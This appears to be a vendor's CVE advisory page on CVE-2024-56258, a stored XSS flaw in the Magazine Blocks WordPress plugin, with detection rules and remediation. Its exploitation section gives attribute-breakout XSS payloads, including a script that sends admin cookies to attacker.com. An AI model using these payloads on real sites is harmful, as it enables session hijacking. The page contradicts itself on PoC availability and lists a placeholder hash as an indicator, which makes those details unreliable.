☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Blockart logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-56258

CVE-2024-56258 Cross-Site Scripting in Blockart
📅 PUBLISHED: 2025-01-02 12:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-56258 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Magazine Blocks by BlockArt, affecting versions up to and including 1.3.20. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress database. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Magazine Blocks from the WordPress dashboard or via direct download are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. Supply chain risk is limited to the plugin’s update mechanism; if the vendor does not release a patched version, users must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network – the vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): Low – attacker needs contributor-level access or higher.
  • User Interaction (UI): Required – the victim must view the compromised page.
  • Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure possible.
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): Low – limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin could lead to significant impact if exploited in a targeted campaign.

Deep Dive & Mechanics

The vulnerability resides in the Magazine Blocks plugin, which provides custom Gutenberg blocks for WordPress. The plugin fails to properly sanitize or escape user input when rendering certain block attributes or content. An authenticated user with contributor-level permissions can create or edit a post/page containing a vulnerable block and inject malicious JavaScript into fields such as block titles, descriptions, or custom CSS classes. This input is stored in the WordPress database without proper sanitization. When an administrator or other user views the post (e.g., on the frontend or in the admin preview), the injected script executes in the context of the victim’s session.

Root Cause: The plugin uses echo or wp_kses_post without sufficient filtering, or directly outputs user-supplied data into HTML attributes without proper escaping. For example, a block attribute like className might be rendered as class="[user_input]" without escaping quotes, allowing an attacker to break out of the attribute and inject event handlers like onmouseover.

Attack Flow:

  1. Attacker logs in as a contributor.
  2. Attacker creates a new post and adds a Magazine Blocks block.
  3. Attacker injects a payload like "><img src=x onerror=alert(1)> into a vulnerable field.
  4. The payload is stored in the database.
  5. An administrator views the post (e.g., on the frontend or in the admin panel).
  6. The payload executes, potentially stealing cookies or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (magazine-blocks/includes/class-block-renderer.php):

$class_name = $attributes['className'] ?? '';
echo '<div class="' . $class_name . '">';

Patched Code (hypothetical):

$class_name = $attributes['className'] ?? '';
$class_name = esc_attr($class_name);
echo '<div class="' . $class_name . '">';

The vulnerable code directly concatenates user input into an HTML attribute without escaping. The patched version uses esc_attr() to escape special characters, preventing attribute injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Magazine Blocks <= 1.3.20 installed and activated.
  • A user account with contributor-level privileges or higher.

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post and add a "Magazine Blocks" block (e.g., "Post Grid" or "Heading").
  3. In the block settings, locate a text field (e.g., "Custom CSS Class" or "Title").
  4. Inject the following payload into the field:
    "><img src=x onerror=alert(document.cookie)>
    
  5. Publish or save the post as a draft.
  6. Wait for an administrator to view the post (e.g., via the frontend or admin preview).
  7. The payload executes, displaying the admin’s cookies in an alert box.

Advanced Payload (Session Hijacking):

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress logs for unusual post content containing script tags or event handlers.
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Disable the Magazine Blocks plugin until a patch is released.
  • Restrict contributor-level users from using custom CSS classes or advanced block settings.
  • Apply the principle of least privilege: only grant necessary roles.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • magazine-blocks.zip (version 1.3.20): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal).
  • Database Indicators:
    • Posts containing <script> tags or onerror/onmouseover event handlers in wp_posts.post_content.
  • Log Indicators:
    • WordPress debug logs showing wp_kses_post failures or unexpected HTML in block attributes.

Detection Engineering

YARA Rule

rule CVE_2024_56258_Magazine_Blocks_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-56258 in Magazine Blocks plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-56258"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onmouseover\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss5 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-56258 - Stored XSS in Magazine Blocks Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS payloads in WordPress posts created by Magazine Blocks plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress post creation/modification
        PostContent|contains:
            - '<script'
            - 'onerror='
            - 'onmouseover='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56258 - Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/wp/v2/posts"; http_uri; content:"<script"; nocase; within:1000; pcre:"/(<script|onerror|onmouseover|javascript)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete Magazine Blocks until a patched version is released.
  2. Audit existing content: Scan all posts and pages for injected scripts using the YARA rule above.
  3. Reset compromised accounts: If any admin accounts were hijacked, force password resets and revoke session tokens.

Long-Term Fix:

  • The vendor must release a patched version (e.g., 1.3.21) that properly escapes all user inputs using esc_attr(), esc_html(), or wp_kses_post() with a strict whitelist.
  • Implement a Content Security Policy (CSP) header to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
    

Workarounds:

  • Use a WAF rule to block requests containing <script or onerror in post content.
  • Restrict contributor roles from using custom CSS classes via a custom plugin or user role editor.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Magazine Blocks"
http.html:"wp-content/plugins/magazine-blocks"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-56258/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.